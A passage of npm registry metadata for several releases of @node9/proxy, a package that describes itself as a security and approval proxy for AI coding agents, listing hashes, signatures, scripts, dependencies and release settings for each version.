/proxy-1.12.2.tgz","fileCount":21,"integrity":"sha512-QDI24heAtPTG5i/ExwRMHe/F05UUDhGJQrd6kF52S9Qr/AlBWZQOlJo9TzUNgxCn9Z0zIimsy0iRd4cXyoAm0Q==","signatures":[{"sig":"MEUCIQC5AGCeiy2Gm3WWVToNCQllJju4qpwu5TbJMYFUfsfnbAIge0IB1gSnupm3CHCv9cLUAi0k9ic7DbS08AH7rDsDoqc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1889006},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"30818bd0afcb73b8fe80f84d2948baa7ca06f7f4","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.2_1777046389832_0.9078546431421868","host":"s3://npm-registry-packages-npm-production"}},"1.12.3":{"name":"@node9/proxy","version":"1.12.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"90a6a682f17f2b7beb08a1cb8e19ce61de216e8c","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.3.tgz","fileCount":21,"integrity":"sha512-Fo5ynKLJb1YRup+JPSNESLGA32u1s6OgZCEcMYWjmdRFjU5r7mbSakOjx/j8MFQsVJ4VNzqGTEroi0yF1tQwAw==","signatures":[{"sig":"MEYCIQDF4fChdAMplm9tF6ZfMWcxnqsyFhplLLSAZpoh+vrcsgIhAO3nPe3mOKM2Xuy6sszBVpN8LJDFHLHhwNwuBofCVDYD","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1889074},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e68333503272412fd5b0ac7ccd571cf51a3bc2f2","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.3_1777048659428_0.719666117364272","host":"s3://npm-registry-packages-npm-production"}},"1.12.4":{"name":"@node9/proxy","version":"1.12.4","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"56735a4cbf8a1c9bd238bdff123a4a2dce69ed73","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.4.tgz","fileCount":21,"integrity":"sha512-58IQ2SXI7h+zr0D77/4wpe0sljEMyRFSTPBBjmEmZ0zOTMU1HvTg0ar/bUKygXSv6WeqFJzikhWunXEoMBePWw==","signatures":[{"sig":"MEQCIF0+dzdPt4s2bUSorKijF2mtN742jGVYwUPgZyaMjVUcAiBKaiGIkd22MGoONGnVT9P4vXMzjr9Z7HfWEAHvEIxbNQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1890333},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1880e1849eb12593123e578b70b9cddb64a02cad","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.4_1777059450397_0.6389346771364173","host":"s3://npm-registry-packages-npm-production"}},"1.12.5":{"name":"@node9/proxy","version":"1.12.5","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"35e1f16840345a17702ea48a5f0da05a6b432d95","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.5.tgz","fileCount":21,"integrity":"sha512-nEvAciZ+t+w4VkckYpmbK8obqf2wM/++i60QZ+1DZwyTScLAp1uP7nhnHzUH7GUZqv/8BfSclV+JtFCHltJIzw==","signatures":[{"sig":"MEQCICYx0C3Opo2urm3E5nOvbHf2pLUnyOgzuCM7p+2jT6bEAiAOyDaylVLa60GKV5vtpFJiPVdMChR62cUqjV3quQsX+w==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1890471},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"95d1700b3c8e0e2248976339cac6b5c57c454686","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.5_1777065931612_0.9944598215071523","host":"s3://npm-registry-packages-npm-production"}},"1.12.6":{"name":"@node9/proxy","version":"1.12.6","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.6","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"66948b4687b9dc2b8479a910a8a10396b69fb84a","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.6.tgz","fileCount":21,"integrity":"sha512-8EvgL+TjuOm4f0tsEjUV4kP/uRuFDjk/eoEU4rtSk9iSWolDjbgNyJ9qQupwYjbawxvb6CZb0QwKK88kjd66AQ==","signatures":[{"sig":"MEUCIDNnV9VH9fQZyXcI6rEIXje6wZSrooHJ7PSa69rf4GmuAiEA+sL4kbbk2f484CNCFMW6VH2w1CUuiXZqKrtOFGiKwi4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.6","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1890545},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"ef2df816e249426888ad0c53b0b7ba79dd3e1144","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.6_1777069587526_0.17817575204543923","host":"s3://npm-registry-packages-npm-production"}},"1.12.7":{"name":"@node9/proxy","version":"1.12.7","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.7","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"f638da8d1cc9abe9e4660cbd617c0ee8d9dab95e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.7.tgz","fileCount":21,"integrity":"sha512-rJNil230nWLBRRAFJi3ByNVCzTon50/tsJZaw58/9Bv5409VVOe8mS9QbFLhyuoVEGaR+V97IYxzvLY3UetI8w==","signatures":[{"sig":"MEUCIQDXioPSkBD+XeSMC1MwPEjGTl70cumHIWTqXV4m1lci3QIgFRuyx9WBowwPU3jsjWLiST4mrE/28hPp7UgzKmIQQrw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.7","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1912876},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"972879d8bffecc3cda714dfb657e3acc55a5729e","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.7_1777112286951_0.3818817197189299","host":"s3://npm-registry-packages-npm-production"}},"1.12.8":{"name":"@node9/proxy","version":"1.12.8","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.8","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"af06f1b819e17d11b4ad49f36fe19706b67e7f18","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.8.tgz","fileCount":25,"integrity":"sha512-iZDpBiIRVv9KVzBh/5RErGLsIt8r3OIUjaObM9IMuS8AEPV8FgzxD6v7Drfy4Zj8q4rGMWd/UA/Oa4sLeWlAqQ==","signatures":[{"sig":"MEUCIQCykh8Oxq/NXWPdujPyta/oMSrCHoDa69hMQZtY5CtNQQIgDwOZA/QiUl3Ci9b1cEnoSXw62x/v8c4QY4THU9dsU3M=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.8","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3422831},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"418d070d68ff1e5408fb939ee5a5df526a9235f9","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually 